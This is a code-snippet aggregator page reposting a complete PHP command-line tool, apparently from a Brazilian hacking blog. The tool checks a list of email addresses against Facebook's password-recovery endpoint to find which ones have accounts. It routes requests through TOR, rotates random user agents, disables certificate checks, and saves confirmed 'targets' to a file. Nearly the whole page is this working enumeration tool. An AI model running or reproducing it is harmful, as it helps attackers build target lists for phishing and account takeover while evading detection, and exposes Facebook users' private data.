php VerificaçãodeusuáriosFacebook2.0

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了php VerificaçãodeusuáriosFacebook2.0相关的知识,希望对你有一定的参考价值。

<?php

/*
  E d i ç ã o -  2.0 / 29-09-2015
  --------------------------------------------------------------------------------
  [+] AUTOR: Cleiton Pinheiro / Nick: googleINURL
  [+] Blog:  http://blog.inurl.com.br
  --------------------------------------------------------------------------------
 */


exec('reset');
error_reporting(0);
set_time_limit(0);
ini_set('memory_limit', '256M');
ini_set('display_errors', 0);
ini_set('max_execution_time', 0);
ini_set('allow_url_fopen', 1);
(!isset($_SESSION) ? session_start() : NULL);

$banner = " \033[1;37m
 ____  __    ___  ____    ___  _  _  ____  ___  __ _ 
(  __)/ _\  / __)(  __)  / __)/ )( \(  __)/ __)(  / )
 ) _)/    \( (__  ) _)  ( (__ ) __ ( ) _)( (__  )  (\033[33mv2.0\033[37m
(__) \_/\_/ \___)(____)  \___)\_)(_/(____)\___)(__\_)\033[34m
  === Wisdom is Open but the Knowledge is Priv8 ===
\033[30m";
$_SESSION['config']['cont2'] = 1;

// --------------- DEFININDO LISTA DE EMAILS PARA TESTES -----------------------
echo $banner . "\n\033[1;37m[ ! ] Informe o LISTA DE EMAILS\033[30m\n";
echo "--------------------------------------------------\033[0m\n";
fwrite(STDOUT, "\033[1;37m[ ? ] [ SET ARQUIVO ]: \033[0m");
$listmail = trim(fgets(STDIN));
//------------------------------------------------------------------------------
// ------------------------- DEFININDO PROXY -----------------------------------
echo "\n\033[1;37m[ ! ] Informe tipo de PROXY\n";
echo "[ 1 ]  - TOR\n";
echo "[ 2 ]  - MANUAL\n";
echo "[ 3 ]  - SEM PROXY / DEFAULT\n";
echo "\033[30m--------------------------------------------------\033[0m\n";
fwrite(STDOUT, "\033[1;37m[ ? ][ SET OP ]: \033[30m");
$proxy = trim(fgets(STDIN));
$proxy = (empty($proxy)) ? '3' : NULL;
//VALIDANDO SE OP PROXY FOI SETADA
$proxy = (isset($proxy) && !empty($proxy) &&
        $proxy == '1' ||
        $proxy == '2' ||
        $proxy == '3' ? $proxy : exit("\n\033[1;31m[!] DEFINA CORRETAMENTE OP - PROXY\n\033[0m"));
//SE OP PROXY = 1 SETA ENDEREÇAMENTO PROXY PADRÃO
$proxy = ($proxy == '1') ? 'socks://127.0.0.1:9050/' : $proxy;
$proxy = ($proxy == '3') ? NULL : $proxy;
//SE OP PROXY = 2 SETAR MANUALMENTE
if ($proxy == '2') {
    echo "--------------------------------------------------\033[0m\n";
    fwrite(STDOUT, "\033[1;37m[ ? ][ SET PROXY MANUAL ]: \033[0m");
    $proxy = trim(fgets(STDIN));
}

//------------------------------------------------------------------------------
//GERANDO USER AGENTE RANDOMICO
function __setUserAgentRandom() {

    $agentBrowser = array('Firefox', 'Safari', 'Opera', 'Flock', 'Internet Explorer', 'Seamonkey', 'Tor Browser', 'GNU IceCat', 'CriOS', 'TenFourFox',
        'SeaMonkey', 'B-l-i-t-z-B-O-T', 'Konqueror', 'Mobile', 'Konqueror', 'Netscape', 'Chrome', 'Dragon', 'SeaMonkey', 'Maxthon', 'IBrowse',
        'K-Meleon', 'GoogleBot', 'Konqueror', 'Minimo', 'Googlebot', 'WeltweitimnetzBrowser', 'SuperBot', 'TerrawizBot', 'YodaoBot', 'Wyzo', 'Grail',
        'PycURL', 'Galaxy', 'EnigmaFox', '008', 'ABACHOBot', 'Bimbot', 'Covario IDS', 'iCab', 'KKman', 'Oregano', 'WorldWideWeb', 'Wyzo', 'GNU IceCat',
        'Vimprobable', 'uzbl', 'Slim Browser', 'Flock', 'OmniWeb', 'Rockmelt', 'Shiira', 'Swift', 'Pale Moon', 'Camino', 'Flock', 'Galeon', 'Sylera'
    );

    $agentSistema = array('Windows 3.1', 'Windows 95', 'Windows 98', 'Windows 2000', 'Windows NT', 'Linux 2.4.22-10mdk', 'FreeBSD',
        'Windows XP', 'Windows Vista', 'Redhat Linux', 'Ubuntu', 'Fedora', 'AmigaOS', 'BackTrack Linux', 'iPad', 'BlackBerry', 'Unix',
        'CentOS Linux', 'Debian Linux', 'Macintosh', 'Android', 'iPhone', 'Windows NT 6.1', 'BeOS', 'OS 10.5', 'Nokia', 'Arch Linux',
        'Ark Linux', 'BitLinux', 'Conectiva (Mandriva)', 'CRUX Linux', 'Damn Small Linux', 'DeLi Linux', 'Ubuntu', 'BigLinux', 'Edubuntu',
        'Fluxbuntu', 'Freespire', 'GNewSense', 'Gobuntu', 'gOS', 'Mint Linux', 'Kubuntu', 'Xubuntu', 'ZeVenOS', 'Zebuntu', 'DemoLinux',
        'Dreamlinux', 'DualOS', 'eLearnix', 'Feather Linux', 'Famelix', 'FeniX', 'Gentoo', 'GoboLinux', 'GNUstep', 'Insigne Linux',
        'Kalango', 'KateOS', 'Knoppix', 'Kurumin', 'Dizinha', 'TupiServer', 'Linspire', 'Litrix', 'Mandrake', 'Mandriva', 'MEPIS',
        'Musix GNU Linux', 'Musix-BR', 'OneBase Go', 'openSuSE', 'pQui Linux', 'PCLinuxOS', 'Plaszma OS', 'Puppy Linux', 'QiLinux',
        'Red Hat Linux', 'Red Hat Enterprise Linux', 'CentOS', 'Fedora', 'Resulinux', 'Rxart', 'Sabayon Linux', 'SAM Desktop', 'Satux',
        'Slackware', 'GoblinX', 'Slax', 'Zenwalk', 'SuSE', 'Caixa Mágica', 'HP-UX', 'IRIX', 'OSF/1', 'OS-9', 'POSYS', 'QNX', 'Solaris',
        'OpenSolaris', 'SunOS', 'SCO UNIX', 'Tropix', 'EROS', 'Tru64', 'Digital UNIX', 'Ultrix', 'UniCOS', 'UNIflex', 'Microsoft Xenix',
        'z/OS', 'Xinu', 'Research Unix', 'InfernoOS'
    );

    $locais = array('cs-CZ', 'en-US', 'sk-SK', 'pt-BR', 'sq_AL', 'sq', 'ar_DZ', 'ar_BH', 'ar_EG', 'ar_IQ', 'ar_JO',
        'ar_KW', 'ar_LB', 'ar_LY', 'ar_MA', 'ar_OM', 'ar_QA', 'ar_SA', 'ar_SD', 'ar_SY', 'ar_TN', 'ar_AE', 'ar_YE', 'ar',
        'be_BY', 'be', 'bg_BG', 'bg', 'ca_ES', 'ca', 'zh_CN', 'zh_HK', 'zh_SG', 'zh_TW', 'zh', 'hr_HR', 'hr', 'cs_CZ', 'cs',
        'da_DK', 'da', 'nl_BE', 'nl_NL', 'nl', 'en_AU', 'en_CA', 'en_IN', 'en_IE', 'en_MT', 'en_NZ', 'en_PH', 'en_SG', 'en_ZA',
        'en_GB', 'en_US', 'en', 'et_EE', 'et', 'fi_FI', 'fi', 'fr_BE', 'fr_CA', 'fr_FR', 'fr_LU', 'fr_CH', 'fr', 'de_AT', 'de_DE',
        'de_LU', 'de_CH', 'de', 'el_CY', 'el_GR', 'el', 'iw_IL', 'iw', 'hi_IN', 'hu_HU', 'hu', 'is_IS', 'is', 'in_ID', 'in', 'ga_IE',
        'ga', 'it_IT', 'it_CH', 'it', 'ja_JP', 'ja_JP_JP', 'ja', 'ko_KR', 'ko', 'lv_LV', 'lv', 'lt_LT', 'lt', 'mk_MK', 'mk', 'ms_MY',
        'ms', 'mt_MT', 'mt', 'no_NO', 'no_NO_NY', 'no', 'pl_PL', 'pl', 'pt_PT', 'pt', 'ro_RO', 'ro', 'ru_RU', 'ru', 'sr_BA', 'sr_ME',
        'sr_CS', 'sr_RS', 'sr', 'sk_SK', 'sk', 'sl_SI', 'sl', 'es_AR', 'es_BO', 'es_CL', 'es_CO', 'es_CR', 'es_DO', 'es_EC', 'es_SV',
        'es_GT', 'es_HN', 'es_MX', 'es_NI', 'es_PA', 'es_PY', 'es_PE', 'es_PR', 'es_ES', 'es_US', 'es_UY', 'es_VE', 'es', 'sv_SE',
        'sv', 'th_TH', 'th_TH_TH', 'th', 'tr_TR', 'tr', 'uk_UA', 'uk', 'vi_VN', 'vi'
    );
    return $agentBrowser[rand(0, count($agentBrowser) - 1)] . '/' . rand(1, 20) . '.' . rand(0, 20) . ' (' . $agentSistema[rand(0, count($agentSistema) - 1)] . ' ' . rand(1, 7) . '.' . rand(0, 9) . '; ' . $locais[rand(0, count($locais) - 1)] . ';)';
}

//FUNCTION PRINCIPAL
function geral($email, $proxy = NULL) {

    $_SESSION['config']['cont'] = 0;

    $ch = curl_init();
    //DADOS POST CONCATENANDO EMAIL
    $post = "&lsd=AVrNj_gH&email={$email}&did_submit=Procurar&__user=0&__a=1&__dyn=7xe1JAwZwRyUhxPLHwn84a2i5UdoS1Fx-ewICwPyEjwmE&__req=5&__rev=1959518";
    //URL REQUEST CONCATENANDO POST
    $url[1] = "https://www.facebook.com/ajax/login/help/identify.php?ctx=recover" . $post;

    curl_setopt($ch, CURLOPT_URL, $url[1]);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, __setUserAgentRandom());
    curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");
    curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie.txt");

    // -------------------- PROXY --------------------
    if (!is_null($proxy)) {
        curl_setopt($ch, CURLOPT_PROXY, 'socks://127.0.0.1:9050/');
        curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    }
    // -----------------------------------------------

    $source = curl_exec($ch);
    curl_close($ch);
    return (strstr($source, 'window.location.href=')) ? TRUE : FALSE;
}

(!is_file($listmail) ? exit("\n\033[1;31m[!] Não existe o Dicionário:\033[0m $listmail\n") : NULL);

$lines = array_unique(array_filter(explode("\n", file_get_contents($listmail))));
$count = count($lines);



echo "\n \033[1;33m[0xCarregando] \n";
sleep(2);
echo "\033[31m ===============================================================\n";
echo "\033[34m 0xList  :: \033[37m{$listmail} -\033[34m 0xEmails :: \033[37m{$count}\n";
echo "\033[34m 0xProxy :: \033[37m{$proxy}\n";
echo "\033[31m ===============================================================\n";
echo "\033[37m - VALIANDO DADOS\033[0;0m\n\n";

$ii = 1;
foreach ($lines as $line) {

    $line = str_replace("\n", "", str_replace("\r", "", $line));
    $porcentaje = ($ii / $count) * 100;
    $porcentaje = round($porcentaje, 0);
    if (geral($line, $proxy)) {
        echo " \033[1;34m Opaaaa! :\033[0m \033[1;37m{$porcentaje}%\033[0m";
        echo " \033[1;34m [\033[37m{$_SESSION['config']['cont2']}\033[34m] [\033[37m" . date("H:i:s") . "\033[34m]\n";
        echo " \033[1;37m [ PEII ]\033[0;30m~\033[0;37mEmail Found :: \033[39m{$line}\n";
        echo " \033[1;37m [ INFO ]\033[32m AUTENTICADO COM SUCESSO! :D\033[0m\n";
        echo " \033[1;37m |_____________________________________________________________________________________________\n\n";
        sleep(4);
        $handle = fopen('fbemails.txt', 'a');
        fwrite($handle, "[ {$_SESSION['config']['cont2']} ]-[" . date("H:i:s") . "]-{Alvo Ok}\n ~> https://www.facebook.com/recover/code?em[0]={$line}&hash=AVrNj_gH\n[ - ]::-----------------------------------------------------------------\n\n");
        fclose($handle);
    } else {

        echo " \033[1;34m Andamento em:\033[0m \033[1;37m" . round($porcentaje, 0) . "%\033[0m";
        echo " \033[1;34m [\033[37m{$_SESSION['config']['cont2']}\033[34m] [\033[37m" . date("H:i:s") . "\033[34m]\n";
        echo " \033[1;37m [ LINK ]\033[0;30m~\033[0;37mhttps://m.facebook.com/login/identify?ctx=recover\n";
        echo " \033[1;37m [ DATA ]\033[0;30m~\033[37memail=\033[1;37m{$line}\n";
        echo " \033[1;37m [ INFO ]\033[0;30m~\033[0;37mEmail :: \033[31m{$line}\033[37m NÃO ENCONTRADO!\033[0m \n";
        echo " \033[1;37m |_____________________________________________________________________________________________\n\n";
        sleep(4);
        $handle = fopen('fbemailF.txt', 'a');
        fwrite($handle, "[ {$_SESSION['config']['cont2']} ]-[" . date("H:i:s") . "]-{Alvo Fail}\n [ - ] ~> https://www.facebook.com/recover/code?em[0]={$line}&hash=AVrNj_gH\n[ - ]::-----------------------------------------------------------------\n\n");
        fclose($handle);
    }

    $_SESSION['config']['cont2'] ++;
    $ii++;
}
echo " \033[1;37m [ - ]--------------\033[31m Escaneamento Finalizado \033[37m-------------- [ - ]\033[0;0m\n\n";
sleep(2);

以上是关于php VerificaçãodeusuáriosFacebook2.0的主要内容,如果未能解决你的问题,请参考以下文章

php 卸妆o metabox do OCEANWP Extrasdapáginadeediçãodosprodutos do WooCommerce

php Esconde o editor de texto de uma。 Para isso adicioneessafunçãoemfunctions.php e substi

sql Canção - Coletahorárioschegadaficheiros +geraçãotarefas

javascript 菜单deNavegaçãoPadrão

markdown Serviços - Introdução

sql Canção - Forçaratualizarpreçosgamacom base alterados